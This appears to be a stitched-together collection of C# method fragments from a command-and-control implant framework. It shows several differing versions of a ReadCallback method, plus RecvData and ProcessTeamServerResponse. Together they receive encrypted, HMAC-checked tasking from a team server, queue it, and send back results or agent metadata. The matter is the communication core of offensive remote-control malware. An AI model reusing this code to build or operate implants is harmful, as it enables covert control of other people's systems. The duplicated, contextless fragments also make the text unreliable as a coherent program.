private void ReadCallback(IAsyncResult ar) { var state = ar.AsyncState as StateObject; var bytesReceived = state.workStream.EndRead(ar); if (bytesReceived > 0) { var dataReceived = state.buffer.TrimBytes(); if (Crypto.VerifyHMAC(dataReceived)) { var messages = Crypto.Decrypt <List <AgentMessage> >(dataReceived); if (messages != null) { foreach (var message in messages) { if (!string.IsNullOrEmpty(message.Data.Module)) { InboundC2Data.Enqueue(message); } } } } } state.workStream.Close(); state.workClient.Close(); }
public bool RecvData(out AgentMessage message) { if (InboundC2Data.Count > 0) { message = InboundC2Data.Dequeue(); return(true); } message = null; return(false); }
private void ReadCallback(IAsyncResult ar) { var state = ar.AsyncState as StateObject; var stream = state.workStream; var bytesRead = 0; try { bytesRead = stream.EndRead(ar); } catch { } if (bytesRead > 0) { var dataReceived = state.buffer.TrimBytes(); if (Crypto.VerifyHMAC(dataReceived)) { var inbound = Crypto.Decrypt <List <AgentMessage> >(dataReceived); if (inbound.Count > 0) { foreach (var dataIn in inbound) { InboundC2Data.Enqueue(dataIn); } } } var outbound = new List <AgentMessage>(); if (OutboundC2Data.Count > 0) { while (OutboundC2Data.Count != 0) { outbound.Add(OutboundC2Data.Dequeue()); } } else { outbound.Add(new AgentMessage { IdempotencyKey = Guid.NewGuid().ToString(), Metadata = Config.GetOption(ConfigSetting.Metadata) as AgentMetadata, Data = new C2Data() }); } var dataToSend = Crypto.Encrypt(outbound); SendDataToClient(stream, dataToSend); } }
private void ProcessTeamServerResponse(byte[] response) { if (Crypto.VerifyHMAC(response)) { var messages = Crypto.Decrypt <List <AgentMessage> >(response); if (messages != null) { foreach (var message in messages) { InboundC2Data.Enqueue(message); } } } }
private void ReadCallback(IAsyncResult ar) { var state = ar.AsyncState as StateObject; var stream = state.workStream; var bytesRead = 0; try { bytesRead = stream.EndRead(ar); } catch { } if (bytesRead > 0) { var dataReceived = state.buffer.TrimBytes(); if (bytesRead == state.buffer.Length) { if (state.tmpBuffer != null) { var tmp = state.tmpBuffer; state.tmpBuffer = new byte[tmp.Length + dataReceived.Length]; Buffer.BlockCopy(tmp, 0, state.tmpBuffer, 0, tmp.Length); Buffer.BlockCopy(dataReceived, 0, state.tmpBuffer, tmp.Length, dataReceived.Length); } else { state.tmpBuffer = new byte[dataReceived.Length]; Buffer.BlockCopy(dataReceived, 0, state.tmpBuffer, 0, dataReceived.Length); } Array.Clear(state.buffer, 0, state.buffer.Length); stream.BeginRead(state.buffer, 0, state.buffer.Length, new AsyncCallback(ReadCallback), state); } else { byte[] final; if (state.tmpBuffer != null) { final = new byte[state.tmpBuffer.Length + dataReceived.Length]; Buffer.BlockCopy(state.tmpBuffer, 0, final, 0, state.tmpBuffer.Length); Buffer.BlockCopy(dataReceived, 0, final, state.tmpBuffer.Length, dataReceived.Length); } else { final = new byte[dataReceived.Length]; Buffer.BlockCopy(dataReceived, 0, final, 0, dataReceived.Length); } var finalData = final.TrimBytes(); if (Crypto.VerifyHMAC(finalData)) { var inbound = Crypto.Decrypt <List <AgentMessage> >(finalData); if (inbound.Count > 0) { foreach (var dataIn in inbound) { InboundC2Data.Enqueue(dataIn); } } } var outbound = new List <AgentMessage>(); if (OutboundC2Data.Count > 0) { while (OutboundC2Data.Count != 0) { outbound.Add(OutboundC2Data.Dequeue()); } } else { outbound.Add(new AgentMessage { IdempotencyKey = Guid.NewGuid().ToString(), Metadata = Config.GetOption(ConfigSetting.Metadata) as AgentMetadata, Data = new C2Data() }); } var dataToSend = Crypto.Encrypt(outbound); SendDataToClient(stream, dataToSend); } } }